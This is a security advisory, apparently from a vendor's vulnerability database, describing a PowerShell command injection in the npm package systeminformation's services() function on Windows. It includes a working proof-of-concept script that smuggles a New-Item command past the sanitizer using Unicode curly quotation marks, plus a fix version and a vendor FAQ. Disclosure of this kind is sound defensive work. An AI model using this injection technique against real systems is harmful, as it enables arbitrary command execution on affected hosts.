Summary
systeminformation vulnerable to Windows command injection in services() through Unicode quotation marks
On Windows, [email protected] builds a PowerShell command using the value passed to services(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.
This report confirms version 5.33.15. Other package versions have not been checked.
Details
In lib/processes.js, services() sanitizes the caller's string with sanitizeShellString() and later inserts each resulting name into a Get-CimInstance Win32_Service -Filter command. The Windows branch passes that command to util.powerShell().
The sanitizer in lib/util.js removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.
For example, the input below uses curly quotation marks to end the generated filter string and execute New-Item. I reproduced this call on Windows against the checked-out [email protected] source; it created a marker file with the Node.js process account.
Proof of concept
Run this on Windows in a disposable directory with Node.js and PowerShell available:
mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install [email protected]
Save the following as poc.cjs, then run node poc.cjs:
'use strict';
const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');
(async () => {
const markerName = `si-injection-${process.pid}.txt`;
const markerPath = path.join(process.cwd(), markerName);
fs.rmSync(markerPath, { force: true });
try {
await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
console.log(`markerCreated=${fs.existsSync(markerPath)}`);
} finally {
fs.rmSync(markerPath, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected output:
markerCreated=true
The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.
Impact
An application that passes attacker-controlled input to services() on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. services() is exposed through the package API and getDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's docs/security.html already warns that arbitrary untrusted input to services() needs caution because package sanitization does not cover every case.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2026-116576 has a CVSS score of 7.8 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.33.16); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-116576? CVE-2026-116576 is a high-severity OS command injection vulnerability in systeminformation (npm), affecting versions < 5.33.16. It is fixed in 5.33.16. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2026-116576? CVE-2026-116576 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of systeminformation are affected by CVE-2026-116576? systeminformation (npm) versions < 5.33.16 is affected.
- Is there a fix for CVE-2026-116576? Yes. CVE-2026-116576 is fixed in 5.33.16. Upgrade to this version or later.
- Is CVE-2026-116576 exploitable, and should I be worried? Whether CVE-2026-116576 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-116576 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-116576? Upgrade
systeminformationto 5.33.16 or later.